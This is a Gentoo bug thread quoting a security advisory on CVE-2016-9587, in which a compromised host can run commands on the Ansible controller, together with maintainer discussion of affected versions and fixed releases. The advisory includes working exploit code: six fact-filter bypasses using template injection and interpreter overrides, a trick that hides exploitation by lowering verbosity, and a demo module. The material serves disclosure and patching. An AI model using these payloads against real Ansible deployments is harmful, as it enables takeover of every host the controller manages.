From ${URL}: ########### Computest security advisory CT-2017-0109 ############# Summary: Command execution on Ansible controller from host Affected software: Ansible CVE: CVE-2016-9587 Reference URL: https://www.computest.nl/advisories/ CT-2017-0109_Ansible.txt Affected versions: < 2.1.4, < 2.2.1 Credit: Undisclosed at Computest (research@computest.nl) Date of publication: January 9, 2017 During a summary code review of Ansible, Computest found and exploited several issues that allow a compromised host to execute commands on the Ansible controller and thus gain access to the other hosts controlled by that controller. This was not a full audit and further issues may or may not be present. About Ansible ------------- "Ansible is an open-source automation engine that automates cloud provisioning, configuration management, and application deployment. Once installed on a control node, Ansible, which is an agentless architecture, connects to a managed node through the default OpenSSH connection type." - wikipedia.org Technical Background -------------------- A big threat to a configuration management system like Ansible, Puppet, Salt Stack and others, is compromise of the central node. In Ansible terms this is called the Controller. If the Controller is compromised, an attacker has unfettered access to all hosts that are controlled by the Controller. As such, in any deployment, the central node receives extra attention in terms of security measures and isolation, and threats to this node are taken even more seriously. Fortunately for team blue, in the case of Ansible the attack surface of the Controller is pretty small. Since Ansible is agent-less and based on push, the Controller does not expose any services to hosts. A very interesting bit of attack surface though is in the Facts. When Ansible runs on a host, a JSON object with Facts is returned to the Controller. The Controller uses these facts for various housekeeping purposes. Some facts have special meaning, like the fact "ansible_python_interpreter" and "ansible_connection". The former defines the command to be run when Ansible is looking for the python interpreter, and the second determines the host Ansible is running against. If an attacker is able to control the first fact he can execute an arbitrary command, and if he is able to control the second fact he is able to execute on an arbitrary (Ansible-controlled) host. This can be set to "local" to execute on the Controller itself. Because of this scenario, Ansible filters out certain facts when reading the facts that a host returns. However, we have found 6 ways to bypass this filter. In the scenarios below, we will use the following variables: PAYLOAD = "touch /tmp/foobarbaz" # Define some ways to execute our payload. LOOKUP = "lookup('pipe', '%s')" % PAYLOAD INTERPRETER_FACTS = { # Note that it echoes an empty dictionary {} (it's not a format string). 'ansible_python_interpreter': '%s; cat > /dev/null; echo {}' % PAYLOAD, 'ansible_connection': 'local', # Become is usually enabled on the remote host, but on the Ansible # controller it's likely password protected. Disable it to prevent # password prompts. 'ansible_become': False, } Bypass #1: Adding a host ------------------------ Ansible allows modules to add hosts or update the inventory. This can be very useful, for instance when the inventory needs to be retrieved from a IaaS platform like as the AWS module does. If we're lucky, we can guess the inventory_hostname, in which case the host_vars are overwritten [2] and they will be in effect at the next task. If host_name doesn't match inventory_hostname, it might get executed in the play for the next hostgroup, also depending on the limits set on the commandline. # (Note that when data["add_host"] is set, # data["ansible_facts"] is ignored.) data['add_host'] = { # assume that host_name is the same as inventory_hostname 'host_name': socket.gethostname(), 'host_vars': INTERPRETER_FACTS, } # [1] https://github.com/ansible/ansible/blob/a236cbf3b42fa2c51b89e9395b47abe286775829/lib/ansible/plugins/strategy/__init__.py#L447 # [2] https://github.com/ansible/ansible/blob/a236cbf3b42fa2c51b89e9395b47abe286775829/lib/ansible/plugins/strategy/__init__.py#L580 Bypass #2: Conditionals ----------------------- Ansible actions allow for conditionals. If we know the exact contents of a "when" clause, and we register it as a fact, a special case checks whether the "when" clause matches a variable [1]. In that case it replaces it with its contents and evaluates [2] them. # Known conditionals, separated by newlines known_conditionals_str = """ ansible_os_family == 'Debian' ansible_os_family == "Debian" ansible_os_family == 'RedHat' ansible_os_family == "RedHat" ansible_distribution == "CentOS" result|failed item > 5 foo is defined """ known_conditionals = [x.strip() for x in known_conditionals_str.split('\n')] for known_conditional in known_conditionals: data['ansible_facts'][known_conditional] = LOOKUP [1] https://github.com/ansible/ansible/blob/a236cbf3b42fa2c51b89e9395b47abe286775829/lib/ansible/playbook/conditional.py#L118 [2] https://github.com/ansible/ansible/blob/a236cbf3b42fa2c51b89e9395b47abe286775829/lib/ansible/playbook/conditional.py#L125 Bypass #3: Template injection in stat module -------------------------------------------- The template module/action merges its results with those of the stat module. This allows us to bypass [1][2][3] the stripping of magic variables from ansible_facts [4], because they're at an unexpected location in the result tree. data.update({ 'stat': { 'exists': True, 'isdir': False, 'checksum': { 'rc': 0, 'ansible_facts': INTERPRETER_FACTS, }, } }) # [1] https://github.com/ansible/ansible/blob/a236cbf3b42fa2c51b89e9395b47abe286775829/lib/ansible/plugins/action/template.py#L39 # [2] https://github.com/ansible/ansible/blob/a236cbf3b42fa2c51b89e9395b47abe286775829/lib/ansible/plugins/action/template.py#L49 # [3] https://github.com/ansible/ansible/blob/a236cbf3b42fa2c51b89e9395b47abe286775829/lib/ansible/plugins/action/template.py#L146 # [4] https://github.com/ansible/ansible/blob/a236cbf3b42fa2c51b89e9395b47abe286775829/lib/ansible/plugins/action/__init__.py#L678 Bypass #4: Template injection by changing jinja syntax ------------------------------------------------------ Remote facts always get quoted. Set_fact unquotes them by evaluating them. UnsafeProxy was designed to defend against unquoting by transforming jinja syntax into jinja comments, effectively disabling injection. Bypass the filtering of "{{" and "{%" by changing the jinja syntax [1][2]. The {{}} is needed to make it look like a variable [3]. This works against: - set_fact: foo="{{ansible_os_family}}" - command: echo "{{foo}} data['ansible_facts'].update({ 'exploit_set_fact': True, 'ansible_os_family': "#jinja2:variable_start_string:'[[',variable_end_string:']]',block_start_string:'[%',block_end_string:'%]'\n{{}}\n[[ansible_host]][[lookup('pipe', '" + PAYLOAD + "')]]", }) # [1] https://github.com/ansible/ansible/blob/a236cbf3b42fa2c51b89e9395b47abe286775829/lib/ansible/template/__init__.py#L66 # [2] https://github.com/ansible/ansible/blob/a236cbf3b42fa2c51b89e9395b47abe286775829/lib/ansible/template/__init__.py#L469 # [3] https://github.com/ansible/ansible/blob/a236cbf3b42fa2c51b89e9395b47abe286775829/lib/ansible/template/__init__.py#L308 Bypass #5: Template injection in dict keys ------------------------------------------ Strings and lists are properly cleaned up, but dictionary keys are not [1]. This works against: - set_fact: foo="some prefix {{ansible_os_family}} and/or suffix" - command: echo "{{foo}} The prefix and/or suffix are needed in order to turn the dict into a string, otherwise the value would remain a dict. data['ansible_facts'].update({ 'exploit_set_fact': True, 'ansible_os_family': { "{{ %s }}" % LOOKUP: ''}, }) # [1] https://github.com/ansible/ansible/blob/a236cbf3b42fa2c51b89e9395b47abe286775829/lib/ansible/vars/unsafe_proxy.py#L104 Bypass #6: Template injection using safe_eval --------------------------------------------- There's a special case for evaluating strings that look like a list or dict [1]. Strings that begin with "{" or "[" are evaluated by safe_eval [2]. This allows us to bypass the removal of jinja syntax [3]: we use the whitelisted Python to re-create a bit of Jinja template that is interpreted. This works against: - set_fact: foo="{{ansible_os_family}}" - command: echo "{{foo}} data['ansible_facts'].update({ 'exploit_set_fact': True, 'ansible_os_family': """[ '{'*2 + "%s" + '}'*2 ]""" % LOOKUP, }) # [1] https://github.com/ansible/ansible/blob/a236cbf3b42fa2c51b89e9395b47abe286775829/lib/ansible/template/__init__.py#L334 # [2] https://github.com/ansible/ansible/blob/a236cbf3b42fa2c51b89e9395b47abe286775829/lib/ansible/template/safe_eval.py # [3] https://github.com/ansible/ansible/blob/a236cbf3b42fa2c51b89e9395b47abe286775829/lib/ansible/template/__init__.py#L229 Issue: Disabling verbosity -------------------------- Verbosity can be set on the controller to get more debugging information. This verbosity is controlled through a custom fact. A host however can overwrite this fact and set the verbosity level to 0, hiding exploitation attempts. data['_ansible_verbose_override'] = 0 # [1] https://github.com/ansible/ansible/blob/a236cbf3b42fa2c51b89e9395b47abe286775829/lib/ansible/plugins/callback/default.py#L99 # [2] https://github.com/ansible/ansible/blob/a236cbf3b42fa2c51b89e9395b47abe286775829/lib/ansible/plugins/callback/default.py#L208 Issue: Overwriting files ------------------------ Roles usually contain custom facts that are defined in defaults/main.yml, intending to be overwritten by the inventory (with group and host vars). These facts can be overwritten by the remote host, due to the variable precedence [1]. Some of these facts may be used to specify the location of a file that will be copied to the remote host. The attacker may change it to /etc/passwd. The opposite is also true, he may be able to overwrite files on the Controller. One example is the usage of a password lookup with where the filename contains a variable [2]. [1] http://docs.ansible.com/ansible/playbooks_variables.html#variable-precedence-where-should-i-put-a-variable [2] http://docs.ansible.com/ansible/playbooks_lookups.html#the-password-lookup Mitigation ---------- Computest is not aware of mitigations short of installing fixed versions of the software. Resolution ---------- Ansible has released new versions that fix the vulnerabilities described in this advisory: version 2.1.4 for the 2.1 branch and 2.2.1 for the 2.2 branch. Conclusion ---------- The handling of Facts in Ansible suffers from too many special cases that allow for the bypassing of filtering. We found these issues in just hours of code review, which can be interpreted as a sign of very poor security. However, we don't believe this is the case. The attack surface of the Controller is very small, as it consists mainly of the Facts. We believe that it is very well possible to solve the filtering and quoting of Facts in a sound way, and that when this has been done, the opportunity for attack in this threat model is very small. Furthermore, the Ansible security team has been understanding and professional in their communication around this issue, which is a good sign for the handling of future issues. Timeline -------- 2016-12-08 First contact with Ansible security team 2016-12-09 First contact with Redhat security team (secalert@redhat.com) 2016-12-09 Submitted PoC and description to security@ansible.com 2016-12-13 Ansible confirms issue and severity 2016-12-15 Ansible informs us of intent to disclose after holidays 2017-01-05 Ansible informs us of disclosure date and fix versions 2017-01-09 Ansible issues fixed version
Does this issue exist in ansible 1.9.*?
Couldn't tell you. Somebody just linked me the advisory, and I noticed we were missing the corresponding bug, so I opened it.
(In reply to Matthew Thode ( prometheanfire ) from comment #1) > Does this issue exist in ansible 1.9.*? No. Fixing commit is https://github.com/ansible/ansible/commit/ec84ff6de6eca9224bf3f22b752bb8da806611ed ... the playbook/conditional functionality was added in 2.x like the action plugin.
(In reply to Thomas Deutschmann from comment #3) > (In reply to Matthew Thode ( prometheanfire ) from comment #1) > > Does this issue exist in ansible 1.9.*? > > No. Fixing commit is > https://github.com/ansible/ansible/commit/ > ec84ff6de6eca9224bf3f22b752bb8da806611ed ... the playbook/conditional > functionality was added in 2.x like the action plugin. I think 1.9.4 is vulnerable (see sample playbook, custom module, and output below). The patched code was indeed introduced in 2.x, but that was a major refactoring effort and similar code/functionality existed in 1.9 as well. Or am I missing something here? --- test.yml ---------------------------- - hosts: localhost tasks: - debug: var=ansible_connection - fact_test: value=foo - debug: var=ansible_connection --- library/test_fact ------------------- #!/usr/bin/python def main(): module = AnsibleModule(argument_spec=dict(value=dict())) ansible_facts=dict(ansible_connection=module.params['value']) module.exit_json(changed=False, ansible_facts=ansible_facts) # import module snippets from ansible.module_utils.basic import * main() --- ansible-playbook test.yml ----------- PLAY [localhost] ************************************************************** GATHERING FACTS *************************************************************** ok: [localhost] localhost TASK: [debug var=ansible_connection] ****************************************** ok: [localhost] => { "var": { "ansible_connection": "local" } } localhost => { var: { ansible_connection: local } } TASK: [fact_test value=foo] *************************************************** ok: [localhost] localhost TASK: [debug var=ansible_connection] ****************************************** fatal: [localhost] => unsupported connection type: foo localhost => { msg: unsupported connection type: foo } PLAY RECAP ******************************************************************** to retry, use: --limit @/home/thiemann/test.retry localhost : ok=3 changed=0 unreachable=1 failed=0
no, looks like you're right :|
Matthew, Feel free to fix that as soon as a fix exists. I'm having trouble signing my commits lately and haven't had time to investigate it. Denis.
(In reply to Christian Thiemann from comment #4) > (In reply to Thomas Deutschmann from comment #3) > > (In reply to Matthew Thode ( prometheanfire ) from comment #1) > > > Does this issue exist in ansible 1.9.*? > > > > No. Fixing commit is > > https://github.com/ansible/ansible/commit/ > > ec84ff6de6eca9224bf3f22b752bb8da806611ed ... the playbook/conditional > > functionality was added in 2.x like the action plugin. > > I think 1.9.4 is vulnerable (see sample playbook, custom module, and output > below). The patched code was indeed introduced in 2.x, but that was a major > refactoring effort and similar code/functionality existed in 1.9 as well. Or > am I missing something here? > > [...] No, you are right. We contacted upstream and Ansible confirmed that v1.9.x and 2.0.x is affected. However, upstream will _not_ fix 1.9.x and 2.0.x due to the massive refactoring requirement. Users will have to move to 2.1.x or 2.2.x. Given that Gentoo is already on 2.2.x branch I expect that we will wait for a new 2.2.x release or patch our version and cleanup older branches. But that's up to our maintainer(s) ...
There are currently 2 new rc4's released 2 days ago (Jan. 11) and rc3's 2 days before that. Both rc3 and rc4 have addition fixes for the cve. 2.1.4.0-0.4rc4 and 2.2.1.0-0.4rc4 If you guys want, I can add them to the tree for your testing. I don't know if they have found any more areas that still need fixing or not.
MY mistake in my last comment, latest 2.1.4.0 release is rc2. anisible-2.1.4.0_rc2 and ansible-2.2.1.0_rc4 have been added to the tree unmasked. They contain the latest security fixes for this CVE.
And no sooner did I add them, they bumped the rc's again with additional secruity fixes. Now 2.1.4.0_rc3 and 2.2.1.0_rc5 are in the tree.
@ Maintainer(s): Thank you for your bump! Upstream has scheduled final release for Monday. Do we want to wait for that version or stabilize the rc?
personally I'd rather stabilize a non-rc
So let's do it. Shouldn't be a problem do stabilize final versions afterwards (only amd64/x86). @ Arches, please test and mark stable: =app-admin/ansible-2.1.4.0_rc3 =app-admin/ansible-2.2.1.0_rc5
Missed the "non", so let's wait.
Yeah, it is better to wait for the finals on Monday... it's only a couple more days.
OK, 2.1.4.0 and 2.2.1.0 final releases are pushed to the tree.
@ Arches, please test and mark stable: =app-admin/ansible-2.1.4.0 =app-admin/ansible-2.2.1.0
@ Brian: Title was correct. The _rc versions were the first versions available in Gentoo repository containing the fixes for the reported vulnerability.
(In reply to Thomas Deutschmann from comment #7) > (In reply to Christian Thiemann from comment #4) > > (In reply to Thomas Deutschmann from comment #3) > > > (In reply to Matthew Thode ( prometheanfire ) from comment #1) > > > > Does this issue exist in ansible 1.9.*? > > > > > > No. Fixing commit is > > > https://github.com/ansible/ansible/commit/ > > > ec84ff6de6eca9224bf3f22b752bb8da806611ed ... the playbook/conditional > > > functionality was added in 2.x like the action plugin. > > > > I think 1.9.4 is vulnerable (see sample playbook, custom module, and output > > below). The patched code was indeed introduced in 2.x, but that was a major > > refactoring effort and similar code/functionality existed in 1.9 as well. Or > > am I missing something here? > > > > [...] > > No, you are right. We contacted upstream and Ansible confirmed that v1.9.x > and 2.0.x is affected. However, upstream will _not_ fix 1.9.x and 2.0.x due > to the massive refactoring requirement. > > Users will have to move to 2.1.x or 2.2.x. > > > Given that Gentoo is already on 2.2.x branch I expect that we will wait for > a new 2.2.x release or patch our version and cleanup older branches. But > that's up to our maintainer(s) ... Thanks for confirming with upstream as well! For what it's worth, patching 1.9 probably wouldn't be too hard: the function _save_play_facts in lib/ansible/playbook/__init__.py line 516 is responsible for processing "ansible_facts" returned in module results. If you remove critical keys like "ansible_connection", "ansible_become", and "ansible_python_interpreter" from the "facts" dict before it's passed into "utils.update_hash(...)", you'll probably be good. That being said, I've (finally) made the switch to Ansible 2.x, so I haven't tested this myself and don't know if it would be a comprehensible fix.
New GLSA request filed.
amd64 stable
x86 stable. Maintainer(s), please cleanup.
@ Maintainer(s): Please cleanup and drop <app-admin/ansible-2.1.4.0 and <app-admin/ansible-2.2.1.0.
This issue was resolved and addressed in GLSA 201701-77 at https://security.gentoo.org/glsa/201701-77 by GLSA coordinator Thomas Deutschmann (whissi).
Re-opening for cleanup.
cleaned up
@ Maintainer(s): Thank you! All done, repository is clean.